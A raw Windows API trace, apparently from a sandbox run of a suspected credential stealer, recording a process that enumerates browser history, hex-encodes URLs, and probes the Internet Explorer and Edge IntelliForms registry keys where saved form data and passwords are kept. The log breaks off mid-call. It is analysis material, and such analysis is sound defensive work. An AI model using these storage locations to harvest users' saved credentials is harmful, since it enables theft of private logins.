RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.528] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.528] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.528] LocalFree (hMem=0x750bb8) returned 0x0 [0053.528] CoTaskMemFree (pv=0x75f108) [0053.528] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.529] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/VNbQY-fHfjTXe5r920VH.xls", lpSrch="?") returned 0x0 [0053.529] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/VNbQY-fHfjTXe5r920VH.xls") returned 99 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.529] lstrlenA (lpString="") returned 0 [0053.529] lstrlenA (lpString="FA") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75f448 [0053.529] lstrcpyA (in: lpString1=0x75f448, lpString2="" | out: lpString1="") returned="" [0053.529] lstrcatA (in: lpString1="", lpString2="FA" | out: lpString1="FA") returned="FA" [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.529] lstrlenA (lpString="FA") returned 2 [0053.529] lstrlenA (lpString="3E") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75f4d8 [0053.529] lstrcpyA (in: lpString1=0x75f4d8, lpString2="FA" | out: lpString1="FA") returned="FA" [0053.529] lstrcatA (in: lpString1="FA", lpString2="3E" | out: lpString1="FA3E") returned="FA3E" [0053.529] LocalFree (hMem=0x75f448) returned 0x0 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.529] lstrlenA (lpString="FA3E") returned 4 [0053.529] lstrlenA (lpString="24") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75f448 [0053.529] lstrcpyA (in: lpString1=0x75f448, lpString2="FA3E" | out: lpString1="FA3E") returned="FA3E" [0053.529] lstrcatA (in: lpString1="FA3E", lpString2="24" | out: lpString1="FA3E24") returned="FA3E24" [0053.529] LocalFree (hMem=0x75f4d8) returned 0x0 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.529] lstrlenA (lpString="FA3E24") returned 6 [0053.529] lstrlenA (lpString="A6") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75f4d8 [0053.529] lstrcpyA (in: lpString1=0x75f4d8, lpString2="FA3E24" | out: lpString1="FA3E24") returned="FA3E24" [0053.529] lstrcatA (in: lpString1="FA3E24", lpString2="A6" | out: lpString1="FA3E24A6") returned="FA3E24A6" [0053.529] LocalFree (hMem=0x75f448) returned 0x0 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F1") returned 2 [0053.529] lstrlenA (lpString="FA3E24A6") returned 8 [0053.529] lstrlenA (lpString="F1") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75f570 [0053.529] lstrcpyA (in: lpString1=0x75f570, lpString2="FA3E24A6" | out: lpString1="FA3E24A6") returned="FA3E24A6" [0053.529] lstrcatA (in: lpString1="FA3E24A6", lpString2="F1" | out: lpString1="FA3E24A6F1") returned="FA3E24A6F1" [0053.529] LocalFree (hMem=0x75f4d8) returned 0x0 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="12") returned 2 [0053.529] lstrlenA (lpString="FA3E24A6F1") returned 10 [0053.529] lstrlenA (lpString="12") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75f448 [0053.529] lstrcpyA (in: lpString1=0x75f448, lpString2="FA3E24A6F1" | out: lpString1="FA3E24A6F1") returned="FA3E24A6F1" [0053.529] lstrcatA (in: lpString1="FA3E24A6F1", lpString2="12" | out: lpString1="FA3E24A6F112") returned="FA3E24A6F112" [0053.529] LocalFree (hMem=0x75f570) returned 0x0 [0053.529] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7B") returned 2 [0053.529] lstrlenA (lpString="FA3E24A6F112") returned 12 [0053.529] lstrlenA (lpString="7B") returned 2 [0053.529] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75f4e0 [0053.529] lstrcpyA (in: lpString1=0x75f4e0, lpString2="FA3E24A6F112" | out: lpString1="FA3E24A6F112") returned="FA3E24A6F112" [0053.529] lstrcatA (in: lpString1="FA3E24A6F112", lpString2="7B" | out: lpString1="FA3E24A6F1127B") returned="FA3E24A6F1127B" [0053.529] LocalFree (hMem=0x75f448) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B") returned 14 [0053.530] lstrlenA (lpString="81") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75f578 [0053.530] lstrcpyA (in: lpString1=0x75f578, lpString2="FA3E24A6F1127B" | out: lpString1="FA3E24A6F1127B") returned="FA3E24A6F1127B" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B", lpString2="81" | out: lpString1="FA3E24A6F1127B81") returned="FA3E24A6F1127B81" [0053.530] LocalFree (hMem=0x75f4e0) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="89") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B81") returned 16 [0053.530] lstrlenA (lpString="89") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75f448 [0053.530] lstrcpyA (in: lpString1=0x75f448, lpString2="FA3E24A6F1127B81" | out: lpString1="FA3E24A6F1127B81") returned="FA3E24A6F1127B81" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B81", lpString2="89" | out: lpString1="FA3E24A6F1127B8189") returned="FA3E24A6F1127B8189" [0053.530] LocalFree (hMem=0x75f578) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189") returned 18 [0053.530] lstrlenA (lpString="FD") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75f4e8 [0053.530] lstrcpyA (in: lpString1=0x75f4e8, lpString2="FA3E24A6F1127B8189" | out: lpString1="FA3E24A6F1127B8189") returned="FA3E24A6F1127B8189" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189", lpString2="FD" | out: lpString1="FA3E24A6F1127B8189FD") returned="FA3E24A6F1127B8189FD" [0053.530] LocalFree (hMem=0x75f448) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="07") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189FD") returned 20 [0053.530] lstrlenA (lpString="07") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75f448 [0053.530] lstrcpyA (in: lpString1=0x75f448, lpString2="FA3E24A6F1127B8189FD" | out: lpString1="FA3E24A6F1127B8189FD") returned="FA3E24A6F1127B8189FD" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD", lpString2="07" | out: lpString1="FA3E24A6F1127B8189FD07") returned="FA3E24A6F1127B8189FD07" [0053.530] LocalFree (hMem=0x75f4e8) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189FD07") returned 22 [0053.530] lstrlenA (lpString="F5") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.530] lstrcpyA (in: lpString1=0x758820, lpString2="FA3E24A6F1127B8189FD07" | out: lpString1="FA3E24A6F1127B8189FD07") returned="FA3E24A6F1127B8189FD07" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07", lpString2="F5" | out: lpString1="FA3E24A6F1127B8189FD07F5") returned="FA3E24A6F1127B8189FD07F5" [0053.530] LocalFree (hMem=0x75f448) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4F") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189FD07F5") returned 24 [0053.530] lstrlenA (lpString="4F") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.530] lstrcpyA (in: lpString1=0x758a18, lpString2="FA3E24A6F1127B8189FD07F5" | out: lpString1="FA3E24A6F1127B8189FD07F5") returned="FA3E24A6F1127B8189FD07F5" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F5", lpString2="4F" | out: lpString1="FA3E24A6F1127B8189FD07F54F") returned="FA3E24A6F1127B8189FD07F54F" [0053.530] LocalFree (hMem=0x758820) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="01") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F") returned 26 [0053.530] lstrlenA (lpString="01") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.530] lstrcpyA (in: lpString1=0x758820, lpString2="FA3E24A6F1127B8189FD07F54F" | out: lpString1="FA3E24A6F1127B8189FD07F54F") returned="FA3E24A6F1127B8189FD07F54F" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F", lpString2="01" | out: lpString1="FA3E24A6F1127B8189FD07F54F01") returned="FA3E24A6F1127B8189FD07F54F01" [0053.530] LocalFree (hMem=0x758a18) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="74") returned 2 [0053.530] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F01") returned 28 [0053.530] lstrlenA (lpString="74") returned 2 [0053.530] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.530] lstrcpyA (in: lpString1=0x758a18, lpString2="FA3E24A6F1127B8189FD07F54F01" | out: lpString1="FA3E24A6F1127B8189FD07F54F01") returned="FA3E24A6F1127B8189FD07F54F01" [0053.530] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F01", lpString2="74" | out: lpString1="FA3E24A6F1127B8189FD07F54F0174") returned="FA3E24A6F1127B8189FD07F54F0174" [0053.530] LocalFree (hMem=0x758820) returned 0x0 [0053.530] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="23") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F0174") returned 30 [0053.531] lstrlenA (lpString="23") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.531] lstrcpyA (in: lpString1=0x754820, lpString2="FA3E24A6F1127B8189FD07F54F0174" | out: lpString1="FA3E24A6F1127B8189FD07F54F0174") returned="FA3E24A6F1127B8189FD07F54F0174" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F0174", lpString2="23" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423") returned="FA3E24A6F1127B8189FD07F54F017423" [0053.531] LocalFree (hMem=0x758a18) returned 0x0 [0053.531] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F017423") returned 32 [0053.531] lstrlenA (lpString="ED") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754a30 [0053.531] lstrcpyA (in: lpString1=0x754a30, lpString2="FA3E24A6F1127B8189FD07F54F017423" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423") returned="FA3E24A6F1127B8189FD07F54F017423" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F017423", lpString2="ED" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED") returned="FA3E24A6F1127B8189FD07F54F017423ED" [0053.531] LocalFree (hMem=0x754820) returned 0x0 [0053.531] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3F") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F017423ED") returned 34 [0053.531] lstrlenA (lpString="3F") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.531] lstrcpyA (in: lpString1=0x754820, lpString2="FA3E24A6F1127B8189FD07F54F017423ED" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED") returned="FA3E24A6F1127B8189FD07F54F017423ED" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F017423ED", lpString2="3F" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3F") returned="FA3E24A6F1127B8189FD07F54F017423ED3F" [0053.531] LocalFree (hMem=0x754a30) returned 0x0 [0053.531] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F017423ED3F") returned 36 [0053.531] lstrlenA (lpString="CA") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754a30 [0053.531] lstrcpyA (in: lpString1=0x754a30, lpString2="FA3E24A6F1127B8189FD07F54F017423ED3F" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3F") returned="FA3E24A6F1127B8189FD07F54F017423ED3F" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3F", lpString2="CA" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA") returned="FA3E24A6F1127B8189FD07F54F017423ED3FCA" [0053.531] LocalFree (hMem=0x754820) returned 0x0 [0053.531] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F017423ED3FCA") returned 38 [0053.531] lstrlenA (lpString="56") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.531] lstrcpyA (in: lpString1=0x750bb8, lpString2="FA3E24A6F1127B8189FD07F54F017423ED3FCA" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA") returned="FA3E24A6F1127B8189FD07F54F017423ED3FCA" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA", lpString2="56" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA56") returned="FA3E24A6F1127B8189FD07F54F017423ED3FCA56" [0053.531] LocalFree (hMem=0x754a30) returned 0x0 [0053.531] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.531] lstrlenA (lpString="FA3E24A6F1127B8189FD07F54F017423ED3FCA56") returned 40 [0053.531] lstrlenA (lpString="B6") returned 2 [0053.531] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.531] lstrcpyA (in: lpString1=0x750a48, lpString2="FA3E24A6F1127B8189FD07F54F017423ED3FCA56" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA56") returned="FA3E24A6F1127B8189FD07F54F017423ED3FCA56" [0053.531] lstrcatA (in: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA56", lpString2="B6" | out: lpString1="FA3E24A6F1127B8189FD07F54F017423ED3FCA56B6") returned="FA3E24A6F1127B8189FD07F54F017423ED3FCA56B6" [0053.531] LocalFree (hMem=0x750bb8) returned 0x0 [0053.531] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.531] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.531] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.531] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.531] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.532] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.532] LocalFree (hMem=0x750a48) returned 0x0 [0053.532] CoTaskMemFree (pv=0x75f378) [0053.532] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.532] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/aNziRH8Mnq.doc", lpSrch="?") returned 0x0 [0053.532] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/aNziRH8Mnq.doc") returned 56 [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="35") returned 2 [0053.532] lstrlenA (lpString="") returned 0 [0053.532] lstrlenA (lpString="35") returned 2 [0053.532] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75f778 [0053.532] lstrcpyA (in: lpString1=0x75f778, lpString2="" | out: lpString1="") returned="" [0053.532] lstrcatA (in: lpString1="", lpString2="35" | out: lpString1="35") returned="35" [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.532] lstrlenA (lpString="35") returned 2 [0053.532] lstrlenA (lpString="58") returned 2 [0053.532] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75f808 [0053.532] lstrcpyA (in: lpString1=0x75f808, lpString2="35" | out: lpString1="35") returned="35" [0053.532] lstrcatA (in: lpString1="35", lpString2="58" | out: lpString1="3558") returned="3558" [0053.532] LocalFree (hMem=0x75f778) returned 0x0 [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.532] lstrlenA (lpString="3558") returned 4 [0053.532] lstrlenA (lpString="2C") returned 2 [0053.532] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75f778 [0053.532] lstrcpyA (in: lpString1=0x75f778, lpString2="3558" | out: lpString1="3558") returned="3558" [0053.532] lstrcatA (in: lpString1="3558", lpString2="2C" | out: lpString1="35582C") returned="35582C" [0053.532] LocalFree (hMem=0x75f808) returned 0x0 [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.532] lstrlenA (lpString="35582C") returned 6 [0053.532] lstrlenA (lpString="96") returned 2 [0053.532] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75f808 [0053.532] lstrcpyA (in: lpString1=0x75f808, lpString2="35582C" | out: lpString1="35582C") returned="35582C" [0053.532] lstrcatA (in: lpString1="35582C", lpString2="96" | out: lpString1="35582C96") returned="35582C96" [0053.532] LocalFree (hMem=0x75f778) returned 0x0 [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.532] lstrlenA (lpString="35582C96") returned 8 [0053.532] lstrlenA (lpString="FE") returned 2 [0053.532] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75f8a0 [0053.532] lstrcpyA (in: lpString1=0x75f8a0, lpString2="35582C96" | out: lpString1="35582C96") returned="35582C96" [0053.532] lstrcatA (in: lpString1="35582C96", lpString2="FE" | out: lpString1="35582C96FE") returned="35582C96FE" [0053.532] LocalFree (hMem=0x75f808) returned 0x0 [0053.532] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BE") returned 2 [0053.532] lstrlenA (lpString="35582C96FE") returned 10 [0053.532] lstrlenA (lpString="BE") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75f778 [0053.533] lstrcpyA (in: lpString1=0x75f778, lpString2="35582C96FE" | out: lpString1="35582C96FE") returned="35582C96FE" [0053.533] lstrcatA (in: lpString1="35582C96FE", lpString2="BE" | out: lpString1="35582C96FEBE") returned="35582C96FEBE" [0053.533] LocalFree (hMem=0x75f8a0) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0E") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE") returned 12 [0053.533] lstrlenA (lpString="0E") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75f810 [0053.533] lstrcpyA (in: lpString1=0x75f810, lpString2="35582C96FEBE" | out: lpString1="35582C96FEBE") returned="35582C96FEBE" [0053.533] lstrcatA (in: lpString1="35582C96FEBE", lpString2="0E" | out: lpString1="35582C96FEBE0E") returned="35582C96FEBE0E" [0053.533] LocalFree (hMem=0x75f778) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0E") returned 14 [0053.533] lstrlenA (lpString="EC") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75f8a8 [0053.533] lstrcpyA (in: lpString1=0x75f8a8, lpString2="35582C96FEBE0E" | out: lpString1="35582C96FEBE0E") returned="35582C96FEBE0E" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0E", lpString2="EC" | out: lpString1="35582C96FEBE0EEC") returned="35582C96FEBE0EEC" [0053.533] LocalFree (hMem=0x75f810) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1F") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC") returned 16 [0053.533] lstrlenA (lpString="1F") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75f778 [0053.533] lstrcpyA (in: lpString1=0x75f778, lpString2="35582C96FEBE0EEC" | out: lpString1="35582C96FEBE0EEC") returned="35582C96FEBE0EEC" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC", lpString2="1F" | out: lpString1="35582C96FEBE0EEC1F") returned="35582C96FEBE0EEC1F" [0053.533] LocalFree (hMem=0x75f8a8) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC1F") returned 18 [0053.533] lstrlenA (lpString="30") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75f818 [0053.533] lstrcpyA (in: lpString1=0x75f818, lpString2="35582C96FEBE0EEC1F" | out: lpString1="35582C96FEBE0EEC1F") returned="35582C96FEBE0EEC1F" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC1F", lpString2="30" | out: lpString1="35582C96FEBE0EEC1F30") returned="35582C96FEBE0EEC1F30" [0053.533] LocalFree (hMem=0x75f778) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC1F30") returned 20 [0053.533] lstrlenA (lpString="30") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75f778 [0053.533] lstrcpyA (in: lpString1=0x75f778, lpString2="35582C96FEBE0EEC1F30" | out: lpString1="35582C96FEBE0EEC1F30") returned="35582C96FEBE0EEC1F30" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC1F30", lpString2="30" | out: lpString1="35582C96FEBE0EEC1F3030") returned="35582C96FEBE0EEC1F3030" [0053.533] LocalFree (hMem=0x75f818) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F4") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC1F3030") returned 22 [0053.533] lstrlenA (lpString="F4") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.533] lstrcpyA (in: lpString1=0x758a18, lpString2="35582C96FEBE0EEC1F3030" | out: lpString1="35582C96FEBE0EEC1F3030") returned="35582C96FEBE0EEC1F3030" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030", lpString2="F4" | out: lpString1="35582C96FEBE0EEC1F3030F4") returned="35582C96FEBE0EEC1F3030F4" [0053.533] LocalFree (hMem=0x75f778) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="00") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC1F3030F4") returned 24 [0053.533] lstrlenA (lpString="00") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.533] lstrcpyA (in: lpString1=0x758820, lpString2="35582C96FEBE0EEC1F3030F4" | out: lpString1="35582C96FEBE0EEC1F3030F4") returned="35582C96FEBE0EEC1F3030F4" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F4", lpString2="00" | out: lpString1="35582C96FEBE0EEC1F3030F400") returned="35582C96FEBE0EEC1F3030F400" [0053.533] LocalFree (hMem=0x758a18) returned 0x0 [0053.533] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F7") returned 2 [0053.533] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400") returned 26 [0053.533] lstrlenA (lpString="F7") returned 2 [0053.533] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.533] lstrcpyA (in: lpString1=0x758a18, lpString2="35582C96FEBE0EEC1F3030F400" | out: lpString1="35582C96FEBE0EEC1F3030F400") returned="35582C96FEBE0EEC1F3030F400" [0053.533] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400", lpString2="F7" | out: lpString1="35582C96FEBE0EEC1F3030F400F7") returned="35582C96FEBE0EEC1F3030F400F7" [0053.534] LocalFree (hMem=0x758820) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7") returned 28 [0053.534] lstrlenA (lpString="A6") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.534] lstrcpyA (in: lpString1=0x758820, lpString2="35582C96FEBE0EEC1F3030F400F7" | out: lpString1="35582C96FEBE0EEC1F3030F400F7") returned="35582C96FEBE0EEC1F3030F400F7" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7", lpString2="A6" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A6") returned="35582C96FEBE0EEC1F3030F400F7A6" [0053.534] LocalFree (hMem=0x758a18) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5F") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A6") returned 30 [0053.534] lstrlenA (lpString="5F") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754a30 [0053.534] lstrcpyA (in: lpString1=0x754a30, lpString2="35582C96FEBE0EEC1F3030F400F7A6" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A6") returned="35582C96FEBE0EEC1F3030F400F7A6" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A6", lpString2="5F" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F") 